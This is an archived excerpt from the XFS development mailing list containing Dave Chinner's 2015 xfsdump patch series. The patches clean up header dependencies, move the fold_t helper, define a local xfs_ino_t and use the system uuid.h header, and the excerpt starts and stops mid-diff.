#endif +#ifdef DEBUG +# define ASSERT(EX) assert(EX) +#else +# define ASSERT(EX) ((void) 0) +#endif + #endif /* __XFS_PLATFORM_DEFS_H__ */ diff --git a/include/xfs.h b/include/xfs.h index bc94068..7bed957 100644 --- a/include/xfs.h +++ b/include/xfs.h @@ -47,12 +47,6 @@ # error unknown platform... have fun porting! #endif -#ifdef DEBUG -# define ASSERT(EX) assert(EX) -#else -# define ASSERT(EX) ((void) 0) -#endif - /* * sparse kernel source annotations */ -- 2.5.0 From dave@fromorbit.com Thu Oct 15 20:45:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9B00C7F3F for ; Thu, 15 Oct 2015 20:45:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 26B01AC003 for ; Thu, 15 Oct 2015 18:45:22 -0700 (PDT) X-ASG-Debug-ID: 1444959919-04cbb035aa2e150001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id yY5E34ehLO2aEgeH for ; Thu, 15 Oct 2015 18:45:19 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CrBwDrVSBW/ySkLHlegyaBQqhjAQEBAQEBBpA8jVdNAQEBAQEBgQuEJwEFVjMIGDE5AxsZiC3EJIYvjwcFhz2OYJw6jHFjgUoBCzsdgWkqM4VnAQEB Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4v-00019x-0O for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:05 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-00006K-VB for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 7/8] cleanup: move fold_t out of util.h Date: Fri, 16 Oct 2015 12:45:00 +1100 X-ASG-Orig-Subj: [PATCH 7/8] cleanup: move fold_t out of util.h Message-Id: <1444959901-31319-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> References: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959919 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Many files just want the fold_t type, but pulling in util.h requires all the XFS and JDM headers to be pulled in, too. Move fold_t to mlog.[ch] as it tends to be common with log output. Similarly, move the PREEMPT_* definitions to common/types.h to remove that dependency on util.h as well. Signed-off-by: Dave Chinner --- common/mlog.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ common/mlog.h | 6 ++++++ common/types.h | 5 +++++ common/util.c | 45 --------------------------------------------- common/util.h | 11 ----------- 5 files changed, 56 insertions(+), 56 deletions(-) diff --git a/common/mlog.c b/common/mlog.c index fd21c18..c8b3129 100644 --- a/common/mlog.c +++ b/common/mlog.c @@ -802,3 +802,48 @@ mlog_sym_lookup( char *sym ) return -1; } + +void +fold_init( fold_t fold, char *infostr, char c ) +{ + size_t infolen; + size_t dashlen; + size_t predashlen; + size_t postdashlen; + char *p; + char *endp; + ix_t cnt; + + assert( sizeof( fold_t ) == FOLD_LEN + 1 ); + + infolen = strlen( infostr ); + if ( infolen > FOLD_LEN - 4 ) { + infolen = FOLD_LEN - 4; + } + dashlen = FOLD_LEN - infolen - 3; + predashlen = dashlen / 2; + postdashlen = dashlen - predashlen; + + p = &fold[ 0 ]; + endp = &fold[ sizeof( fold_t ) - 1 ]; + + assert( p < endp ); + *p++ = ' '; + for ( cnt = 0 ; cnt < predashlen && p < endp ; cnt++, p++ ) { + *p = c; + } + assert( p < endp ); + *p++ = ' '; + assert( p < endp ); + assert( p + infolen < endp ); + strcpy( p, infostr ); + p += infolen; + assert( p < endp ); + *p++ = ' '; + assert( p < endp ); + for ( cnt = 0 ; cnt < postdashlen && p < endp ; cnt++, p++ ) { + *p = c; + } + assert( p <= endp ); + *p = 0; +} diff --git a/common/mlog.h b/common/mlog.h index d7bbfce..e080f9e 100644 --- a/common/mlog.h +++ b/common/mlog.h @@ -123,4 +123,10 @@ extern void mlog_exit_flush( void ); extern void mlog_lock( void ); extern void mlog_unlock( void ); +/* fold_t - a character string made to look like a "fold here" + */ +#define FOLD_LEN 79 +typedef char fold_t[ FOLD_LEN + 1 ]; +extern void fold_init( fold_t fold, char *infostr, char c ); + #endif /* MLOG_H */ diff --git a/common/types.h b/common/types.h index 0923897..f902828 100644 --- a/common/types.h +++ b/common/types.h @@ -136,4 +136,9 @@ typedef struct stat64 stat64_t; typedef struct getbmapx getbmapx_t; typedef struct fsdmidata fsdmidata_t; +/* flg definitions for preemptchk + */ +#define PREEMPT_FULL 0 +#define PREEMPT_PROGRESSONLY 1 + #endif /* TYPES_H */ diff --git a/common/util.c b/common/util.c index 93dd9c8..0d49d5c 100644 --- a/common/util.c +++ b/common/util.c @@ -532,48 +532,3 @@ cvtnum( int blocksize, char *s ) return 1024 * 1024 * i; return -1; } - -void -fold_init( fold_t fold, char *infostr, char c ) -{ - size_t infolen; - size_t dashlen; - size_t predashlen; - size_t postdashlen; - char *p; - char *endp; - ix_t cnt; - - assert( sizeof( fold_t ) == FOLD_LEN + 1 ); - - infolen = strlen( infostr ); - if ( infolen > FOLD_LEN - 4 ) { - infolen = FOLD_LEN - 4; - } - dashlen = FOLD_LEN - infolen - 3; - predashlen = dashlen / 2; - postdashlen = dashlen - predashlen; - - p = &fold[ 0 ]; - endp = &fold[ sizeof( fold_t ) - 1 ]; - - assert( p < endp ); - *p++ = ' '; - for ( cnt = 0 ; cnt < predashlen && p < endp ; cnt++, p++ ) { - *p = c; - } - assert( p < endp ); - *p++ = ' '; - assert( p < endp ); - assert( p + infolen < endp ); - strcpy( p, infostr ); - p += infolen; - assert( p < endp ); - *p++ = ' '; - assert( p < endp ); - for ( cnt = 0 ; cnt < postdashlen && p < endp ; cnt++, p++ ) { - *p = c; - } - assert( p <= endp ); - *p = 0; -} diff --git a/common/util.h b/common/util.h index 5284811..558bf7e 100644 --- a/common/util.h +++ b/common/util.h @@ -143,22 +143,11 @@ extern int diriter( jdm_fshandle_t *fshandlep, size_t usrgdsz ); -/* fold_t - a character string made to look like a "fold here" - */ -#define FOLD_LEN 79 -typedef char fold_t[ FOLD_LEN + 1 ]; -extern void fold_init( fold_t fold, char *infostr, char c ); - /* macro to copy uuid structures */ #define COPY_LABEL( lab1, lab2) ( bcopy( lab1, lab2, GLOBAL_HDR_STRING_SZ) ) -/* flg definitions for preemptchk - */ -#define PREEMPT_FULL 0 -#define PREEMPT_PROGRESSONLY 1 - /* * Align pointer up to alignment */ -- 2.5.0 From dave@fromorbit.com Thu Oct 15 20:45:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0B1797F3F for ; Thu, 15 Oct 2015 20:45:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 997E1AC003 for ; Thu, 15 Oct 2015 18:45:20 -0700 (PDT) X-ASG-Debug-ID: 1444959917-04bdf06db45dd70001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id na16nuw0PCBNRm6P for ; Thu, 15 Oct 2015 18:45:18 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BwMwDrVSBW/ySkLHlegyZULUGoSwIBCQwBAQEBAQEGgQ2PL4YhhzZNAQEBAQEBgQuFAzuBAgOIYaBOo1aGL4Q/ikgFlh2FGYoimXBjgUoBCwE6HYFpKjOFZwEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4u-00019p-Qj for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-00005n-Pi for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/8] xfsdump: Ouchie! My bleeding eyes! Date: Fri, 16 Oct 2015 12:44:53 +1100 X-ASG-Orig-Subj: [PATCH 0/8] xfsdump: Ouchie! My bleeding eyes! Message-Id: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959918 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, Turns out that changes to exported XFS headers in xfsprogs v4.2.0 broke the xfsdump build. the XFS dump build was implicitly including the platform definitions calculated for the xfsprogs build and so removing them from the xfsprogs headers made xfsdump very unhappy. I've spend the last couple of days dripping blood from my eyeballs all over my keyboard trying to clean up the mess a bit. This patch set fixes the build issue and tries to minimise the amount of XFS header inclusion across the xfsdump code base. To this end: 1. remove xfsdump's use of ASSERT because the definition in the XFs headers overrode everything else. So the first patch is a global s/ASSERT/assert/, #include change. 2. fix the build issues. With the assert conflict out of the way, patch 2 includes all the bits xfsdump really needed from the xfsprogs platform defs. This is added to the include/config.h.in file, and this is then included across the code base. 3. xfs/jdm.h does "typedef int intgen_t;" for it's API. xfsdump uses it *everywhere* (~900 instances across the code base), yet everywhere it is used an "int" will sufficient and there's only a handful of jdm_* API calls anyway. Patch 3 is therefore s/intgen_t/int/g 4. why use uint*_t when you can use a random mix of types? Patch 4 is therefore s/u_int/uint/g 5. xfs_ino_t. Always going to be uint64_t. Use a local definition, not pull all of XFS into all of xfsdump just for a single typedef (patch 5). 6. Use , not whatever hacked up uuid interface that you get from the XFS headers, which is not then used correctly because nothing uses the "platform_uuid_*()" abstraction the XFS headers provide. Clearly, xfsdump has only *ever* been compiled on Linux, as the build will break on BSD based platforms like Irix and FreeBSD. xfsdump is a Linux only source tree right now.... 7. Yeah, lets put random stuff in a header file that is included all over the place that requires the XFS headers to be included. Patch 7 pulls out the bits used by logging/reporting and puts them in the logging/reporting source files. 8. Kill as many and includes as possible. Most of the files including them are now just missing system header includes and no longer need util.h, so patch 8 cleans up all that mess. So, now the code base is a little bit cleaner, a lot less dependent on the xfsprogs header files, compiles cleanly on xfsprogs 3.2.x and 4.x releases, can easily have asserts build in or excluded (distro packages need to use "export DEBUG=-DNDEBUG" to exclude asserts), passes xfstests with asserts enabled and disabled, and best of all the source code is a little less eye-bleedy. I really don't expect anyone to review this closely - it's *huge* chunk of boring search/replace change: 94 files changed, 2929 insertions(+), 2652 deletions(-) but I would like people to comment on/ack the approach I've taken here. If nobody objects/cares, I'll then do a 3.1.6 release early next week.... -Dave. From dave@fromorbit.com Thu Oct 15 20:45:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 491DE7F5A for ; Thu, 15 Oct 2015 20:45:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 17FE48F8049 for ; Thu, 15 Oct 2015 18:45:21 -0700 (PDT) X-ASG-Debug-ID: 1444959917-04bdf06db45dd70002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id bwpMLVUQlv1FbKjE for ; Thu, 15 Oct 2015 18:45:19 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CrBwDrVSBW/ySkLHlegyaBQqhjAQEBAQEBBpA8jVdNAQEBAQEBgQuEJwEFVjMIGDE5AxsZiC3EJIYvinCEFwWWHZw6jHFjgUoBC4JBKjOFZwEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4u-00019u-Tx for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:05 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-00006A-TH for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 5/8] cleanup: define a local xfs_ino_t Date: Fri, 16 Oct 2015 12:44:58 +1100 X-ASG-Orig-Subj: [PATCH 5/8] cleanup: define a local xfs_ino_t Message-Id: <1444959901-31319-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> References: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959919 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The xfs inode number size is never going to change - it's a uint64_t. We currently inherit this from xfsprogs headers, but it goes away in xfsprogs v4.2.0 as it's part of the platform definitions. Add our own local definition for this type. Signed-off-by: Dave Chinner --- common/types.h | 2 ++ 1 file changed, 2 insertions(+) diff --git a/common/types.h b/common/types.h index 235f52a..0923897 100644 --- a/common/types.h +++ b/common/types.h @@ -49,6 +49,8 @@ typedef unsigned long u_long_t; typedef size_t ix_t; typedef int32_t time32_t; +typedef uint64_t xfs_ino_t; + /* limits */ #define MKMAX( t, s ) ( ( t ) \ -- 2.5.0 From dave@fromorbit.com Thu Oct 15 20:45:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF0A87F5A for ; Thu, 15 Oct 2015 20:45:25 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C0B4430405F for ; Thu, 15 Oct 2015 18:45:22 -0700 (PDT) X-ASG-Debug-ID: 1444959920-04cbb035a92e150001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id jAtWaqGo2oGZ5D3J for ; Thu, 15 Oct 2015 18:45:20 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CrBwDrVSBW/ySkLHlegyaBQqhjAQEBAQEBBpA8jVdNAQEBAQEBgQuEJwEFVjMIGDE5AxsZiC3EJIYvjwcFlh2pK2OBSgELOx2BaSozhWcBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4u-00019v-VR for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:05 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-00006F-Tf for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 6/8] cleanup: use system uuid.h headers Date: Fri, 16 Oct 2015 12:44:59 +1100 X-ASG-Orig-Subj: [PATCH 6/8] cleanup: use system uuid.h headers Message-Id: <1444959901-31319-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> References: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959920 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Another bunch of support pulled in from the xfs headers, but would never have worked correctly on any platform other than Linux as dump doe snot use the abstractions that xfsprogs wraps around the uuid interfaces. Hence just make it work on Linux for now, as it's already relying on native support. Signed-off-by: Dave Chinner --- common/fs.c | 1 + common/global.c | 1 + common/inventory.c | 1 + dump/content.c | 1 + dump/var.c | 1 + inventory/inv_api.c | 1 + inventory/inv_fstab.c | 1 + inventory/inv_mgr.c | 1 + inventory/inv_stobj.c | 1 + inventory/testmain.c | 1 + invutil/cmenu.c | 1 + invutil/fstab.c | 1 + invutil/invidx.c | 1 + invutil/invutil.c | 1 + invutil/list.c | 1 + invutil/menu.c | 1 + invutil/screen.c | 1 + invutil/stobj.c | 1 + restore/content.c | 1 + 19 files changed, 19 insertions(+) diff --git a/common/fs.c b/common/fs.c index 184f08d..e600e38 100644 --- a/common/fs.c +++ b/common/fs.c @@ -30,6 +30,7 @@ #include #include #include +#include #include "config.h" diff --git a/common/global.c b/common/global.c index ea7ad6d..ca11368 100644 --- a/common/global.c +++ b/common/global.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "config.h" diff --git a/common/inventory.c b/common/inventory.c index 83e1ebb..d1b810c 100644 --- a/common/inventory.c +++ b/common/inventory.c @@ -28,6 +28,7 @@ #include #include #include +#include #include "types.h" #include "inventory_priv.h" diff --git a/dump/content.c b/dump/content.c index fcd7dd7..15fb357 100644 --- a/dump/content.c +++ b/dump/content.c @@ -34,6 +34,7 @@ #include #include #include +#include #ifdef linux #include diff --git a/dump/var.c b/dump/var.c index d3fa3be..6dd6a70 100644 --- a/dump/var.c +++ b/dump/var.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "config.h" diff --git a/inventory/inv_api.c b/inventory/inv_api.c index 888c425..acca40b 100644 --- a/inventory/inv_api.c +++ b/inventory/inv_api.c @@ -30,6 +30,7 @@ #include #include #include +#include #include "config.h" diff --git a/inventory/inv_fstab.c b/inventory/inv_fstab.c index 1c2bf3d..56d6b8f 100644 --- a/inventory/inv_fstab.c +++ b/inventory/inv_fstab.c @@ -29,6 +29,7 @@ #include #include #include +#include #include "config.h" diff --git a/inventory/inv_mgr.c b/inventory/inv_mgr.c index e521f24..79d4bb1 100644 --- a/inventory/inv_mgr.c +++ b/inventory/inv_mgr.c @@ -27,6 +27,7 @@ #include #include #include +#include #include "config.h" diff --git a/inventory/inv_stobj.c b/inventory/inv_stobj.c index 0763d0b..9619476 100644 --- a/inventory/inv_stobj.c +++ b/inventory/inv_stobj.c @@ -30,6 +30,7 @@ #include #include #include +#include #include "config.h" diff --git a/inventory/testmain.c b/inventory/testmain.c index 3f742e4..ecddf54 100644 --- a/inventory/testmain.c +++ b/inventory/testmain.c @@ -24,6 +24,7 @@ #include #include #include +#include #include "config.h" diff --git a/invutil/cmenu.c b/invutil/cmenu.c index ce23d28..e60fd22 100644 --- a/invutil/cmenu.c +++ b/invutil/cmenu.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/invutil/fstab.c b/invutil/fstab.c index ac8f775..4284cd1 100644 --- a/invutil/fstab.c +++ b/invutil/fstab.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/invutil/invidx.c b/invutil/invidx.c index 44c5e7f..67efdf7 100644 --- a/invutil/invidx.c +++ b/invutil/invidx.c @@ -26,6 +26,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/invutil/invutil.c b/invutil/invutil.c index e1c8868..06bdeda 100644 --- a/invutil/invutil.c +++ b/invutil/invutil.c @@ -28,6 +28,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/invutil/list.c b/invutil/list.c index 0157102..ae5d9b7 100644 --- a/invutil/list.c +++ b/invutil/list.c @@ -19,6 +19,7 @@ #include #include #include +#include #include "list.h" #include "cmenu.h" diff --git a/invutil/menu.c b/invutil/menu.c index a0d2d0e..c050359 100644 --- a/invutil/menu.c +++ b/invutil/menu.c @@ -20,6 +20,7 @@ #include #include #include +#include #include "types.h" #include "cmenu.h" diff --git a/invutil/screen.c b/invutil/screen.c index c4b79d8..6e913a7 100644 --- a/invutil/screen.c +++ b/invutil/screen.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "cmenu.h" diff --git a/invutil/stobj.c b/invutil/stobj.c index eb04385..f389c53 100644 --- a/invutil/stobj.c +++ b/invutil/stobj.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/restore/content.c b/restore/content.c index 5e6e88e..d4fe350 100644 --- a/restore/content.c +++ b/restore/content.c @@ -38,6 +38,7 @@ #include #include #include +#include #include "config.h" -- 2.5.0 From dave@fromorbit.com Thu Oct 15 20:45:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7AB007F60 for ; Thu, 15 Oct 2015 20:45:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6A47930405F for ; Thu, 15 Oct 2015 18:45:26 -0700 (PDT) X-ASG-Debug-ID: 1444959919-04cbb035aa2e150002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id hB52cffFAGi4ne6n for ; Thu, 15 Oct 2015 18:45:21 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DXBwDrVSBW/ySkLHlegyZUbqhXDAEBAQEBAQaQPIYhgkuEa00BAQEBAQGBC4QnAQUnLzMIGDE5AxsZHogPxCSGL48HBZVdQIUZiiKZcGOBSgELATcDHYFpKjOFZwEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4v-00019z-0e for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:05 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-00006P-Vq for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 8/8] cleanup: Kill unnecessary xfs includes Date: Fri, 16 Oct 2015 12:45:01 +1100 X-ASG-Orig-Subj: [PATCH 8/8] cleanup: Kill unnecessary xfs includes Message-Id: <1444959901-31319-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> References: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959921 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Remove all the unneccessary xfsprogs header includes by replacing them with explicit includes and platform specific definitions in config.h.in. Signed-off-by: Dave Chinner --- common/arch_xlate.c | 7 +++---- common/arch_xlate.h | 3 --- common/cldmgr.c | 3 --- common/content_common.c | 6 ++---- common/dlog.c | 4 +--- common/drive.c | 7 +++---- common/drive_minrmt.c | 6 ++---- common/drive_scsitape.c | 6 ++---- common/drive_simple.c | 6 +++++- common/fs.c | 3 +-- common/global.c | 7 +++---- common/hsmapi.c | 13 +++++++++++-- common/hsmapi.h | 12 ++++++------ common/lock.c | 4 +--- common/main.c | 7 +++---- common/media.c | 3 --- common/mlog.c | 6 ++---- common/openutil.c | 3 +-- common/path.c | 2 -- common/qlock.c | 4 +--- common/ring.c | 3 --- common/stream.c | 3 --- common/types.h | 9 +++++++++ common/util.c | 6 ++---- dump/content.c | 5 ++--- dump/inomap.c | 6 ++---- dump/inomap.h | 5 +++-- dump/var.c | 3 --- include/config.h.in | 4 ++++ inventory/inv_files.c | 3 --- invutil/list.c | 3 +-- invutil/menu.c | 3 +-- restore/bag.c | 3 --- restore/content.c | 7 +++---- restore/mmap.c | 1 - restore/tree.c | 9 +++++---- restore/win.c | 3 --- 37 files changed, 79 insertions(+), 109 deletions(-) diff --git a/common/arch_xlate.c b/common/arch_xlate.c index f8aa50f..1b8e687 100644 --- a/common/arch_xlate.c +++ b/common/arch_xlate.c @@ -16,11 +16,10 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include -#include - +#include #include +#include +#include #include "config.h" diff --git a/common/arch_xlate.h b/common/arch_xlate.h index fa201cd..80e847f 100644 --- a/common/arch_xlate.h +++ b/common/arch_xlate.h @@ -19,9 +19,6 @@ #ifndef ARCH_XLATE_H #define ARCH_XLATE_H -#include -#include - #include #include "types.h" #include "global.h" diff --git a/common/cldmgr.c b/common/cldmgr.c index 624da62..2890092 100644 --- a/common/cldmgr.c +++ b/common/cldmgr.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include diff --git 